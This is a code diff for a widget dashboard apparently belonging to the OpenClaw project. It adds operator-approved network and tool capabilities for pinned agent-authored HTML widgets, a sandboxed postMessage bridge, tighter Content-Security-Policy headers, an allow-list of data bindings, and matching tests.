executeSqliteQuerySync(
|
||||
transactionDatabase.db,
|
||||
@@ -581,6 +528,16 @@ export class SqliteBoardStore implements BoardStore {
|
||||
.set({
|
||||
grant_state: decision,
|
||||
granted_sha: decision === "granted" ? row.sha256 : null,
|
||||
manifest: serializeManifest(
|
||||
declared,
|
||||
decision,
|
||||
manifest.mcpAppInteractive !== undefined && manifest.mcpAppInstanceId
|
||||
? {
|
||||
interactive: manifest.mcpAppInteractive,
|
||||
instanceId: manifest.mcpAppInstanceId,
|
||||
}
|
||||
: undefined,
|
||||
),
|
||||
updated_at: Date.now(),
|
||||
})
|
||||
.where("session_key", "=", resolved.sessionKey)
|
||||
@@ -613,6 +570,7 @@ export class SqliteBoardStore implements BoardStore {
|
||||
"sha256",
|
||||
"view_generation",
|
||||
"grant_state",
|
||||
"manifest",
|
||||
])
|
||||
.where("session_key", "=", resolved.sessionKey)
|
||||
.where("name", "=", name)
|
||||
@@ -622,12 +580,15 @@ export class SqliteBoardStore implements BoardStore {
|
||||
return undefined;
|
||||
}
|
||||
if (row.content_kind === "html" && row.html !== null && row.view_generation !== null) {
|
||||
const manifest = parseManifest(row.manifest);
|
||||
const declared = manifest.declared;
|
||||
return {
|
||||
html: Buffer.from(row.html).toString("utf8"),
|
||||
revision: row.revision,
|
||||
sha256: row.sha256,
|
||||
viewGeneration: row.view_generation,
|
||||
grantState: row.grant_state as BoardWidget["grantState"],
|
||||
grantState: effectiveGrantState(row.grant_state as BoardWidget["grantState"], manifest),
|
||||
...(declared ? { declared } : {}),
|
||||
};
|
||||
}
|
||||
return undefined;
|
||||
@@ -669,8 +630,8 @@ export class SqliteBoardStore implements BoardStore {
|
||||
descriptor: parseDescriptor(row.descriptor_json),
|
||||
revision: row.revision,
|
||||
instanceId: manifest.mcpAppInstanceId,
|
||||
grantState: row.grant_state as BoardWidget["grantState"],
|
||||
declaredTools: manifest.declared.tools ?? [],
|
||||
grantState: effectiveGrantState(row.grant_state as BoardWidget["grantState"], manifest),
|
||||
declaredTools: manifest.declared?.tools ?? [],
|
||||
interactive: manifest.mcpAppInteractive,
|
||||
};
|
||||
},
|
||||
|
||||
+101
-12
@@ -43,6 +43,7 @@ async function executeWidget(params: {
|
||||
tab?: string;
|
||||
size?: "sm" | "md" | "lg" | "xl" | "full";
|
||||
after?: string;
|
||||
capabilities?: { netOrigins?: string[]; tools?: string[] };
|
||||
}) {
|
||||
const tool = createShowWidgetTool({
|
||||
stateDir: params.stateDir,
|
||||
@@ -59,6 +60,7 @@ async function executeWidget(params: {
|
||||
...(params.tab ? { tab: params.tab } : {}),
|
||||
...(params.size ? { size: params.size } : {}),
|
||||
...(params.after ? { after: params.after } : {}),
|
||||
...(params.capabilities ? { capabilities: params.capabilities } : {}),
|
||||
});
|
||||
const text = result.content.find((item) => item.type === "text")?.text;
|
||||
if (!text) {
|
||||
@@ -92,10 +94,17 @@ describe("show_widget", () => {
|
||||
'<SvG viewBox="0 0 10 10"><circle r="4" /></SvG>',
|
||||
);
|
||||
|
||||
expect(Buffer.byteLength(html)).toBe(9649);
|
||||
expect(Buffer.byteLength(html)).toBe(13075);
|
||||
expect(createHash("sha256").update(html).digest("hex")).toBe(
|
||||
"3326950b5fde8ef742df1f288102f6cb3cc330548b4b4c157424a54d1e164b3a",
|
||||
"3dd21b774b05d53d12088018babfc82604cc098fcacb1cca48dff5be7e7f8812",
|
||||
);
|
||||
expect(html).toContain("openclaw:widget-host-init-ack");
|
||||
expect(html).toContain("else push.call(waiting,{send,reject})");
|
||||
expect(html).toContain("else push.call(promptWaiting,{send,inline,reject})");
|
||||
expect(html).toContain("openclaw:widget-prompt-host-ready");
|
||||
expect(html).toContain("widget host capabilities unavailable");
|
||||
expect(html).toContain("widget prompt host unavailable");
|
||||
expect(html).not.toContain("widget is not hosted on a board");
|
||||
});
|
||||
|
||||
it("rejects empty and oversized widget code", async () => {
|
||||
@@ -127,6 +136,19 @@ describe("show_widget", () => {
|
||||
await expect(access(resolveCanvasDocumentsDir(stateDir))).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("requires dashboard pinning for declared capabilities", async () => {
|
||||
const stateDir = await createStateDir();
|
||||
const tool = createShowWidgetTool({ stateDir, sessionId: "capabilities" });
|
||||
|
||||
await expect(
|
||||
tool.execute("capabilities", {
|
||||
title: "Weather",
|
||||
widget_code: "<p>weather</p>",
|
||||
capabilities: { netOrigins: ["https://api.open-meteo.com"] },
|
||||
}),
|
||||
).rejects.toThrow("capabilities require pin=true");
|
||||
});
|
||||
|
||||
it("wraps SVG widgets with the stable result and sandbox contracts", async () => {
|
||||
const stateDir = await createStateDir();
|
||||
const { viewId, url, sandbox, text } = await executeWidget({
|
||||
@@ -179,7 +201,7 @@ describe("show_widget", () => {
|
||||
expect(callGateway).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("pins the exact wrapped bytes through the board domain and broadcasts", async () => {
|
||||
it("lets the board domain wrap pinned source before storing and broadcasting", async () => {
|
||||
const stateDir = await createStateDir();
|
||||
const store = new InMemoryBoardStore();
|
||||
const broadcast = vi.fn();
|
||||
@@ -223,18 +245,13 @@ describe("show_widget", () => {
|
||||
size: "lg",
|
||||
callGateway,
|
||||
});
|
||||
const canvasHtml = await readFile(
|
||||
path.join(resolveCanvasDocumentDir(stateDir, result.viewId), "index.html"),
|
||||
"utf8",
|
||||
);
|
||||
const pinnedTitle = Array.from(title).slice(0, 80).join("");
|
||||
|
||||
expect(store.readWidgetHtml("agent:main:pinned", "release-status")).toMatchObject({
|
||||
html: canvasHtml,
|
||||
html: buildWidgetDocument(pinnedTitle, "<p>ready</p>"),
|
||||
revision: 1,
|
||||
});
|
||||
expect(store.getSnapshot("agent:main:pinned").widgets[0]?.title).toBe(
|
||||
Array.from(title).slice(0, 80).join(""),
|
||||
);
|
||||
expect(store.getSnapshot("agent:main:pinned").widgets[0]?.title).toBe(pinnedTitle);
|
||||
expect(result.resultText).toContain("pinned to dashboard tab main as release-status (lg)");
|
||||
expect(result.boardWidgetName).toBe("release-status");
|
||||
expect(broadcast).toHaveBeenCalledWith("board.changed", {
|
||||
@@ -244,6 +261,67 @@ describe("show_widget", () => {
|
||||
});
|
||||
});
|
||||
|
||||
it("pins a granted-CSP document and declaration without networking in the inline preview", async () => {
|
||||
const stateDir = await createStateDir();
|
||||
const store = new InMemoryBoardStore();
|
||||
const handlers = createBoardHandlers(store);
|
||||
const callGateway: InProcessGatewayCaller = async <T>(
|
||||
method: string,
|
||||
params: Record<string, unknown>,
|
||||
): Promise<T> => {
|
||||
let result: unknown;
|
||||
let failure: Error | undefined;
|
||||
await handlers[method]!({
|
||||
req: { type: "req", id: "show-widget-capabilities", method, params },
|
||||
params,
|
||||
client: null,
|
||||
isWebchatConnect: () => false,
|
||||
respond: (ok, payload, error) => {
|
||||
if (ok) {
|
||||
result = payload;
|
||||
} else {
|
||||
failure = new Error(error?.message ?? "board request failed");
|
||||
}
|
||||
},
|
||||
context: { broadcast: vi.fn() } as unknown as GatewayRequestContext,
|
||||
});
|
||||
if (failure) {
|
||||
throw failure;
|
||||
}
|
||||
return result as T;
|
||||
};
|
||||
|
||||
const result = await executeWidget({
|
||||
stateDir,
|
||||
agentSessionKey: "agent:main:weather",
|
||||
title: "Weather",
|
||||
widgetCode: "<p>weather</p>",
|
||||
pin: true,
|
||||
capabilities: {
|
||||
netOrigins: ["https://api.open-meteo.com"],
|
||||
tools: ["health", "prompt"],
|
||||
},
|
||||
callGateway,
|
||||
});
|
||||
const inlineHtml = await readFile(
|
||||
path.join(resolveCanvasDocumentDir(stateDir, result.viewId), "index.html"),
|
||||
"utf8",
|
||||
);
|
||||
const pinned = store.readWidgetHtml("agent:main:weather", "weather");
|
||||
|
||||
expect(inlineHtml).toContain("connect-src 'none'");
|
||||
expect(pinned).toMatchObject({
|
||||
grantState: "pending",
|
||||
declared: {
|
||||
netOrigins: ["https://api.open-meteo.com"],
|
||||
tools: ["health", "prompt"],
|
||||
},
|
||||
});
|
||||
expect(pinned && "html" in pinned ? pinned.html : "").toContain(
|
||||
"connect-src https://api.open-meteo.com",
|
||||
);
|
||||
});
|
||||
|
||||
it("keeps generated pin names distinct when titles cannot fit a plain slug", async () => {
|
||||
const stateDir = await createStateDir();
|
||||
const callGateway: InProcessGatewayCaller = async <T>(
|
||||
@@ -355,9 +433,20 @@ describe("show_widget", () => {
|
||||
"font-mono",
|
||||
]);
|
||||
expect(html).toContain("openclaw:widget-prompt-offer");
|
||||
expect(html).toContain("openclaw:widget-bridge-port-offer");
|
||||
expect(html).toContain("openclaw:widget-bridge-request");
|
||||
expect(html).toContain("prompt:freeze({send:sendPrompt})");
|
||||
expect(html).toContain('state:freeze({emit:payload=>request("state.emit"');
|
||||
expect(html).toContain('data:freeze({read:(bindingId,params)=>request("data.read"');
|
||||
expect(html).toContain('cron:freeze({trigger:jobId=>request("cron.trigger"');
|
||||
expect(html).toContain("navigator.userActivation");
|
||||
expect(html).toContain("c.port1.postMessage.bind(c.port1)");
|
||||
expect(html).toContain('post({type:"openclaw:widget-prompt"');
|
||||
expect(html).toContain("b.port1.postMessage.bind(b.port1)");
|
||||
expect(html).toContain('bridgePost({type:"openclaw:widget-bridge-request"');
|
||||
expect(html).not.toContain(
|
||||
'post({type:"openclaw:widget-bridge-request",id,method,params,ticket},"*")',
|
||||
);
|
||||
expect(html).toContain('promptPost({type:"openclaw:widget-prompt"');
|
||||
expect(html).not.toContain('window.parent.postMessage({type:"openclaw:widget-prompt",');
|
||||
expect(html).toContain("const post=(message,origin)=>parent.postMessage(message,origin)");
|
||||
expect(html).toContain('query.call(root,"script")');
|
||||
|
||||
@@ -7,6 +7,7 @@ import {
|
||||
callInProcessGatewayTool,
|
||||
type InProcessGatewayCaller,
|
||||
} from "../agents/tools/in-process-gateway.js";
|
||||
import { normalizeBoardWidgetDeclared } from "../boards/board-capabilities.js";
|
||||
import { assertWidgetHtmlSize, WidgetHtmlInputError } from "../plugin-sdk/widget-html.js";
|
||||
import { createCanvasDocument } from "./documents.js";
|
||||
import { buildWidgetDocument } from "./wrap.js";
|
||||
@@ -48,6 +49,21 @@ const ShowWidgetToolSchema = Type.Object({
|
||||
description: "Place after this dashboard widget name",
|
||||
}),
|
||||
),
|
||||
capabilities: Type.Optional(
|
||||
Type.Object({
|
||||
netOrigins: Type.Optional(
|
||||
Type.Array(Type.String(), {
|
||||
description: "Exact HTTPS origins the pinned widget may fetch after approval",
|
||||
}),
|
||||
),
|
||||
tools: Type.Optional(
|
||||
Type.Array(Type.String(), {
|
||||
description:
|
||||
"Pinned widget host tools, such as prompt, sessions.list, or cron.trigger:<jobId>",
|
||||
}),
|
||||
),
|
||||
}),
|
||||
),
|
||||
});
|
||||
|
||||
type ShowWidgetToolOptions = {
|
||||
@@ -92,7 +108,7 @@ export function createShowWidgetTool(options: ShowWidgetToolOptions = {}): AnyAg
|
||||
label: "Show Widget",
|
||||
name: "show_widget",
|
||||
description:
|
||||
'Show interactive self-contained HTML or SVG widget on the user\'s current surface. Set pin=true to also place it on this session\'s dashboard; use name for a stable widget id, tab for a tab slug, size sm|md|lg|xl|full, and after for a sibling widget anchor. Inline everything; no external resources. Pre-themed: bare button, input, select, textarea, table, code, h1-h3 already styled — write minimal HTML. Helper classes: .card, .badge (.ok/.warn/.danger/.info), .metric, .muted, .row; button.primary = the one main action. Theme vars (auto light/dark, live host sync): --surface --card --elevated --text --text-strong --muted --border --border-strong --accent (links/focus/highlight) --accent-fill (primary bg) --accent-fg --ok --warn --danger --info (each with -subtle tint) --radius --font-body --font-mono. Colors ONLY via these vars — never hex/rgb/hsl, no own color palette; layout-only custom vars fine. Page background stays transparent. Pattern: <div class="card"><div class="muted">Uptime</div><div class="metric">18d</div></div> <span class="badge ok">connected</span>. Web chat: sendPrompt(text) sends text as the user\'s message — wire to buttons, suffix label with ↗; works only after a real click inside the widget (never call automatically; slash commands rejected).',
|
||||
'Show interactive self-contained HTML or SVG widget on the user\'s current surface. Set pin=true to also place it on this session\'s dashboard; use name for a stable widget id, tab for a tab slug, size sm|md|lg|xl|full, and after for a sibling widget anchor. Pinned widgets may declare capabilities.netOrigins and capabilities.tools for operator approval. Inline everything; no external resources unless an exact HTTPS origin is declared and granted. Dashboard host APIs: openclaw.prompt.send(text), openclaw.state.emit(payload), openclaw.data.read(bindingId, params?), and openclaw.cron.trigger(jobId). Pre-themed: bare button, input, select, textarea, table, code, h1-h3 already styled — write minimal HTML. Helper classes: .card, .badge (.ok/.warn/.danger/.info), .metric, .muted, .row; button.primary = the one main action. Theme vars (auto light/dark, live host sync): --surface --card --elevated --text --text-strong --muted --border --border-strong --accent (links/focus/highlight) --accent-fill (primary bg) --accent-fg --ok --warn --danger --info (each with -subtle tint) --radius --font-body --font-mono. Colors ONLY via these vars — never hex/rgb/hsl, no own color palette; layout-only custom vars fine. Page background stays transparent. Pattern: <div class="card"><div class="muted">Uptime</div><div class="metric">18d</div></div> <span class="badge ok">connected</span>. Web chat: sendPrompt(text) sends text as the user\'s message — wire to buttons, suffix label with ↗; works only after a real click inside the widget (never call automatically; slash commands rejected).',
|
||||
parameters: ShowWidgetToolSchema,
|
||||
requiredClientCaps: SHOW_WIDGET_REQUIRED_CLIENT_CAPS,
|
||||
execute: async (_toolCallId, args) => {
|
||||
@@ -110,6 +126,12 @@ export function createShowWidgetTool(options: ShowWidgetToolOptions = {}): AnyAg
|
||||
unit: "characters",
|
||||
});
|
||||
const shouldPin = params.pin === true;
|
||||
const capabilities = normalizeBoardWidgetDeclared(
|
||||
params.capabilities as { netOrigins?: string[]; tools?: string[] } | undefined,
|
||||
);
|
||||
if (capabilities && !shouldPin) {
|
||||
throw new WidgetHtmlInputError("capabilities require pin=true");
|
||||
}
|
||||
const pinSessionKey = shouldPin ? options.agentSessionKey?.trim() : undefined;
|
||||
if (shouldPin && !pinSessionKey) {
|
||||
throw new WidgetHtmlInputError("pin requires an agent session");
|
||||
@@ -145,7 +167,10 @@ export function createShowWidgetTool(options: ShowWidgetToolOptions = {}): AnyAg
|
||||
sessionKey,
|
||||
name,
|
||||
...(pinnedTitle ? { title: pinnedTitle } : {}),
|
||||
content: { kind: "html", html: wrappedDocument },
|
||||
// The Gateway owns the board document shell so agent-authored bytes
|
||||
// can never run before its user-activation and bridge bootstrap.
|
||||
content: { kind: "html", html: widgetCode },
|
||||
...(capabilities ? { declared: capabilities } : {}),
|
||||
...(tab || size || after
|
||||
? {
|
||||
placement: {
|
||||
|
||||
+61
-21
@@ -79,8 +79,16 @@ code{padding:1px 5px}pre{padding:10px;overflow-x:auto}
|
||||
.row{display:flex;gap:8px;align-items:center;flex-wrap:wrap}
|
||||
.svg-widget{display:grid;place-items:center}.svg-widget>svg{max-width:100%}`;
|
||||
|
||||
type WidgetDocumentOptions = {
|
||||
connectOrigins?: readonly string[];
|
||||
};
|
||||
|
||||
/** Wraps agent-authored widget markup in the stable isolated Canvas document shell. */
|
||||
export function buildWidgetDocument(title: string, widgetCode: string): string {
|
||||
export function buildWidgetDocument(
|
||||
title: string,
|
||||
widgetCode: string,
|
||||
options: WidgetDocumentOptions = {},
|
||||
): string {
|
||||
const isSvg = /^<svg/i.test(widgetCode);
|
||||
const bodyClass = isSvg ? ' class="svg-widget"' : "";
|
||||
// Inline scripts may drive the widget; CSP blocks resource loads, while preview metadata
|
||||
@@ -96,30 +104,59 @@ export function buildWidgetDocument(title: string, widgetCode: string): string {
|
||||
'if(h&&h!==last){last=h;window.parent.postMessage({type:"openclaw:widget-size",height:h},"*");}};' +
|
||||
"addEventListener('load',report);new ResizeObserver(report).observe(document.body);" +
|
||||
"setTimeout(report,50);setTimeout(report,500);})();</script>";
|
||||
// The prompt bridge precedes widget code so inline handlers can reference
|
||||
// sendPrompt() immediately. It creates the prompt channel itself and offers
|
||||
// one endpoint to the embedding chat at parse time — before any widget code
|
||||
// can run, steal the endpoint, or navigate the frame — so the chat's
|
||||
// first-offer-wins adoption is always bound to this document. The send
|
||||
// endpoint stays private to this closure, and sendPrompt requires transient
|
||||
// user activation, so widget code cannot auto-send without a real user
|
||||
// gesture; the chat additionally validates, requires a focused visible
|
||||
// frame, and rate limits every prompt.
|
||||
// Everything sendPrompt later touches is snapshotted here, before widget
|
||||
// code exists, so prototype patches (MessagePort.postMessage, the
|
||||
// userActivation getter) by widget code cannot leak the endpoint or fake a
|
||||
// gesture. Fail closed: no observable transient user activation, no send.
|
||||
const promptBridge =
|
||||
"<script>(()=>{if(!window.parent||window.parent===window)return;" +
|
||||
// This bridge precedes widget code and snapshots every authority-bearing
|
||||
// primitive. Inline chat keeps its private prompt port; board hosting adopts
|
||||
// the view ticket and routes every host API over one request channel.
|
||||
const widgetBridge =
|
||||
'<script>(()=>{if(!window.parent||window.parent===window||Object.prototype.hasOwnProperty.call(window,"openclaw"))return;' +
|
||||
"const parent=window.parent;const post=parent.postMessage.bind(parent);" +
|
||||
"const P=Promise;const then=P.prototype.then;const ErrorCtor=Error;" +
|
||||
"const stringify=String;const freeze=Object.freeze;const define=Object.defineProperty;" +
|
||||
"const push=Array.prototype.push;const shift=Array.prototype.shift;" +
|
||||
"const later=setTimeout.bind(window);const cancel=clearTimeout.bind(window);" +
|
||||
"const c=new MessageChannel();" +
|
||||
"const post=c.port1.postMessage.bind(c.port1);" +
|
||||
"const promptPost=c.port1.postMessage.bind(c.port1);" +
|
||||
"const b=new MessageChannel();const bridgePost=b.port1.postMessage.bind(b.port1);" +
|
||||
"const promptWaiting=[];let inlinePromptReady=false;" +
|
||||
'c.port1.addEventListener("message",event=>{if(event.data?.type!=="openclaw:widget-prompt-host-ready"||inlinePromptReady)return;' +
|
||||
"inlinePromptReady=true;while(promptWaiting.length){const entry=shift.call(promptWaiting);if(entry)entry.inline();}});c.port1.start();" +
|
||||
"let act=null;" +
|
||||
"try{const ua=navigator.userActivation;" +
|
||||
'const d=ua&&Object.getOwnPropertyDescriptor(Object.getPrototypeOf(ua),"isActive");' +
|
||||
"if(d&&d.get)act=d.get.bind(ua);}catch{}" +
|
||||
'window.parent.postMessage({type:"openclaw:widget-prompt-offer"},"*",[c.port2]);' +
|
||||
"window.sendPrompt=text=>{if(!act||act()!==true)return;" +
|
||||
'post({type:"openclaw:widget-prompt",prompt:String(text)});};})();</script>';
|
||||
'post({type:"openclaw:widget-prompt-offer"},"*",[c.port2]);' +
|
||||
'post({type:"openclaw:widget-bridge-port-offer"},"*",[b.port2]);' +
|
||||
"let ticket=null;let sequence=0;let hostInitExpired=false;const pending=new Map();const waiting=[];" +
|
||||
'const initTimer=later(()=>{hostInitExpired=true;while(waiting.length){const entry=shift.call(waiting);if(entry)entry.reject(new ErrorCtor("widget host capabilities unavailable"));}' +
|
||||
'while(promptWaiting.length){const entry=shift.call(promptWaiting);if(entry)entry.reject(new ErrorCtor("widget prompt host unavailable"));}},5000);' +
|
||||
'b.port1.addEventListener("message",event=>{const data=event.data;' +
|
||||
'if(data?.type==="openclaw:widget-host-init"&&typeof data.ticket==="string"){ticket=data.ticket;' +
|
||||
'bridgePost({type:"openclaw:widget-host-init-ack",ticket});cancel(initTimer);' +
|
||||
"while(waiting.length){const entry=shift.call(waiting);if(entry)entry.send();}" +
|
||||
"while(promptWaiting.length){const entry=shift.call(promptWaiting);if(entry)entry.send();}return;}" +
|
||||
'if(data?.type!=="openclaw:widget-bridge-response"||typeof data.id!=="string")return;' +
|
||||
"const entry=pending.get(data.id);if(!entry)return;pending.delete(data.id);" +
|
||||
'if(data.ok===true)entry.resolve(data.result);else entry.reject(new ErrorCtor(typeof data.error==="string"?data.error:"widget host request failed"));});b.port1.start();' +
|
||||
'const request=(method,params)=>new P((resolve,reject)=>{const send=()=>{const id="widget-"+(++sequence);' +
|
||||
"pending.set(id,{resolve,reject});" +
|
||||
'try{bridgePost({type:"openclaw:widget-bridge-request",id,method,params,ticket});}' +
|
||||
"catch(error){pending.delete(id);reject(error);}};" +
|
||||
'if(ticket)send();else if(hostInitExpired)reject(new ErrorCtor("widget host capabilities unavailable"));' +
|
||||
"else push.call(waiting,{send,reject});});" +
|
||||
"const sendPrompt=text=>{if(!act||act()!==true)return P.resolve(false);const value=stringify(text);" +
|
||||
'if(ticket)return request("prompt.send",{text:value});return new P((resolve,reject)=>{' +
|
||||
'const send=()=>{const result=request("prompt.send",{text:value});then.call(result,resolve,reject);};' +
|
||||
'const inline=()=>{promptPost({type:"openclaw:widget-prompt",prompt:value});resolve(true);};' +
|
||||
'if(inlinePromptReady)inline();else if(hostInitExpired)reject(new ErrorCtor("widget prompt host unavailable"));' +
|
||||
"else push.call(promptWaiting,{send,inline,reject});});};" +
|
||||
"const api=freeze({" +
|
||||
'prompt:freeze({send:sendPrompt}),state:freeze({emit:payload=>request("state.emit",{payload})}),' +
|
||||
'data:freeze({read:(bindingId,params)=>request("data.read",{bindingId:stringify(bindingId),params})}),' +
|
||||
'cron:freeze({trigger:jobId=>request("cron.trigger",{jobId:stringify(jobId)})})});' +
|
||||
'define(window,"openclaw",{value:api,writable:false,configurable:false});' +
|
||||
"window.sendPrompt=text=>{void sendPrompt(text);};" +
|
||||
'define(window,"sendPrompt",{value:window.sendPrompt,writable:false,configurable:false});' +
|
||||
'post({type:"openclaw:widget-bridge-ready"},"*");})();</script>';
|
||||
/*
|
||||
* The host may push a new theme after every theme change. Each message is a
|
||||
* full snapshot: omitted or invalid tokens are removed so a theme switch
|
||||
@@ -197,6 +234,9 @@ export function buildWidgetDocument(title: string, widgetCode: string): string {
|
||||
"fill.call(context,0,0,canvasWidth,canvasHeight);draw.call(context,image,0,0,canvasWidth,canvasHeight);" +
|
||||
'post({type:"openclaw:widget-snapshot",id:data.id,dataUrl:toDataURL.call(canvas,"image/png"),width,height},"*");' +
|
||||
'}catch(error){post({type:"openclaw:widget-snapshot",id:data.id,error:stringify(error)},"*");}})();});})();</script>';
|
||||
const connectSources = options.connectOrigins?.length
|
||||
? options.connectOrigins.join(" ")
|
||||
: "'none'";
|
||||
return `<!doctype html>
|
||||
<html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src data:;"><title>${escapeHtml(title)}</title><style>${WIDGET_BASE_STYLES}</style></head><body${bodyClass}>${promptBridge}${themeBridge}${snapshotBridge}${widgetCode}${sizeReporter}</body></html>`;
|
||||
<html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'; img-src data:; connect-src ${connectSources};"><title>${escapeHtml(title)}</title><style>${WIDGET_BASE_STYLES}</style></head><body${bodyClass}>${widgetBridge}${themeBridge}${snapshotBridge}${widgetCode}${sizeReporter}</body></html>`;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
import type { ErrorShape } from "../../packages/gateway-protocol/src/index.js";
|
||||
import { BoardValidationError } from "../boards/board-layout.js";
|
||||
import { agentsHandlers } from "./server-methods/agents.js";
|
||||
import { cronHandlers } from "./server-methods/cron.js";
|
||||
import { healthHandlers } from "./server-methods/health.js";
|
||||
import { sessionsHandlers } from "./server-methods/sessions.js";
|
||||
import type { GatewayRequestHandlers } from "./server-methods/types.js";
|
||||
import { usageHandlers } from "./server-methods/usage.js";
|
||||
|
||||
const BOARD_DATA_BINDING_IDS = [
|
||||
"sessions.list",
|
||||
"usage.status",
|
||||
"usage.cost",
|
||||
"cron.list",
|
||||
"cron.status",
|
||||
"agents.list",
|
||||
"health",
|
||||
] as const;
|
||||
|
||||
type BoardDataBindingId = (typeof BOARD_DATA_BINDING_IDS)[number];
|
||||
type GatewayHandlerInvocation = Parameters<GatewayRequestHandlers[string]>[0];
|
||||
|
||||
const BOARD_DATA_HANDLERS: Record<BoardDataBindingId, GatewayRequestHandlers[string]> = {
|
||||
"sessions.list": sessionsHandlers["sessions.list"]!,
|
||||
"usage.status": usageHandlers["usage.status"]!,
|
||||
"usage.cost": usageHandlers["usage.cost"]!,
|
||||
"cron.list": cronHandlers["cron.list"]!,
|
||||
"cron.status": cronHandlers["cron.status"]!,
|
||||
"agents.list": agentsHandlers["agents.list"]!,
|
||||
health: healthHandlers.health!,
|
||||
};
|
||||
|
||||
function isBoardDataBindingId(value: string): value is BoardDataBindingId {
|
||||
return (BOARD_DATA_BINDING_IDS as readonly string[]).includes(value);
|
||||
}
|
||||
|
||||
async function invokeGatewayHandler(
|
||||
handler: GatewayRequestHandlers[string],
|
||||
method: string,
|
||||
params: Record<string, unknown>,
|
||||
invocation: GatewayHandlerInvocation,
|
||||
): Promise<unknown> {
|
||||
let didRespond = false;
|
||||
let succeeded = false;
|
||||
let payload: unknown;
|
||||
let responseError: ErrorShape | undefined;
|
||||
await handler({
|
||||
...invocation,
|
||||
req: { ...invocation.req, method, params },
|
||||
params,
|
||||
respond: (ok, value, error) => {
|
||||
if (didRespond) {
|
||||
return;
|
||||
}
|
||||
didRespond = true;
|
||||
if (ok) {
|
||||
succeeded = true;
|
||||
payload = value;
|
||||
} else {
|
||||
responseError = error;
|
||||
}
|
||||
},
|
||||
});
|
||||
if (!didRespond) {
|
||||
throw new BoardValidationError("invalid_operation", `${method} did not return a result`);
|
||||
}
|
||||
if (!succeeded) {
|
||||
throw new BoardValidationError(
|
||||
"invalid_operation",
|
||||
responseError?.message || `${method} failed`,
|
||||
);
|
||||
}
|
||||
return payload;
|
||||
}
|
||||
|
||||
export async function readBoardDataBinding(
|
||||
bindingId: string,
|
||||
params: Record<string, unknown>,
|
||||
invocation: GatewayHandlerInvocation,
|
||||
): Promise<unknown> {
|
||||
if (!isBoardDataBindingId(bindingId)) {
|
||||
throw new BoardValidationError(
|
||||
"invalid_operation",
|
||||
`board widget data binding is not allowed: ${bindingId}`,
|
||||
);
|
||||
}
|
||||
return await invokeGatewayHandler(BOARD_DATA_HANDLERS[bindingId], bindingId, params, invocation);
|
||||
}
|
||||
|
||||
export async function triggerBoardCronJob(
|
||||
jobId: string,
|
||||
invocation: GatewayHandlerInvocation,
|
||||
): Promise<unknown> {
|
||||
return await invokeGatewayHandler(
|
||||
cronHandlers["cron.run"]!,
|
||||
"cron.run",
|
||||
{ id: jobId, mode: "force" },
|
||||
invocation,
|
||||
);
|
||||
}
|
||||
@@ -148,7 +148,11 @@ describe("board widget HTTP", () => {
|
||||
const response = await request("status", { ticket: ticketFor("status") });
|
||||
expect(response.status).toBe(200);
|
||||
expect(response.headers.get("content-type")).toBe("text/html; charset=utf-8");
|
||||
expect(response.headers.get("content-security-policy")).toBe("sandbox allow-scripts");
|
||||
expect(response.headers.get("content-security-policy")).toContain("default-src 'none'");
|
||||
expect(response.headers.get("content-security-policy")).toContain("connect-src 'none'");
|
||||
expect(response.headers.get("content-security-policy")).toContain("webrtc 'block'");
|
||||
expect(response.headers.get("content-security-policy")).toContain("sandbox allow-scripts");
|
||||
expect(response.headers.get("access-control-allow-origin")).toBe("*");
|
||||
expect(response.headers.get("cache-control")).toBe("no-cache");
|
||||
await expect(response.text()).resolves.toBe("<!doctype html><p>Status</p>");
|
||||
});
|
||||
@@ -166,7 +170,9 @@ describe("board widget HTTP", () => {
|
||||
const valid = ticketFor("status");
|
||||
const readSpy = vi.spyOn(store, "readWidgetHtml");
|
||||
expect((await request("status")).status).toBe(401);
|
||||
expect((await request("status", { ticket: "garbage" })).status).toBe(401);
|
||||
const garbage = await request("status", { ticket: "garbage" });
|
||||
expect(garbage.status).toBe(401);
|
||||
expect(garbage.headers.get("access-control-allow-origin")).toBe("*");
|
||||
expect((await request("status", { ticket: `${valid.slice(0, -1)}x` })).status).toBe(401);
|
||||
expect((await request("status", { ticket: expired })).status).toBe(401);
|
||||
expect(readSpy).not.toHaveBeenCalled();
|
||||
@@ -187,6 +193,9 @@ describe("board widget HTTP", () => {
|
||||
);
|
||||
const response = await request("grantable", { ticket });
|
||||
expect(response.status).toBe(200);
|
||||
expect(response.headers.get("content-security-policy")).toContain(
|
||||
"connect-src https://example.com",
|
||||
);
|
||||
await expect(response.text()).resolves.toBe("<script>pending()</script>");
|
||||
});
|
||||
|
||||
|
||||
+22
-13
@@ -1,11 +1,12 @@
|
||||
import type { IncomingMessage, ServerResponse } from "node:http";
|
||||
import type { BoardStore } from "../boards/board-store.js";
|
||||
import { buildBoardWidgetContentSecurityPolicy } from "./board-sandbox.js";
|
||||
import { boardStore } from "./board-store.js";
|
||||
import { BOARD_HTTP_PATH_PREFIX, verifyBoardViewTicket } from "./board-view-ticket.js";
|
||||
import { BOARD_HTTP_PATH_PREFIX } from "./board-view-ticket.js";
|
||||
import { resolveAuthorizedBoardWidgetView } from "./board-widget-view.js";
|
||||
import { sendMethodNotAllowed } from "./http-common.js";
|
||||
|
||||
const BOARD_WIDGET_NAME_PATTERN = /^[a-z0-9][a-z0-9._-]{0,63}$/;
|
||||
const BOARD_WIDGET_CSP = "sandbox allow-scripts";
|
||||
|
||||
type BoardHttpOptions = {
|
||||
store?: BoardStore;
|
||||
@@ -51,6 +52,9 @@ export function handleBoardHttpRequest(
|
||||
if (!pathname.startsWith(BOARD_HTTP_PATH_PREFIX)) {
|
||||
return false;
|
||||
}
|
||||
// The ticket is the authorization boundary. CORS lets a Control UI hosted
|
||||
// away from the Gateway fetch the bytes and observe authorization failures.
|
||||
res.setHeader("Access-Control-Allow-Origin", "*");
|
||||
if (req.method !== "GET") {
|
||||
sendMethodNotAllowed(res, "GET");
|
||||
return true;
|
||||
@@ -61,25 +65,30 @@ export function handleBoardHttpRequest(
|
||||
return true;
|
||||
}
|
||||
const ticket = url.searchParams.get("bt");
|
||||
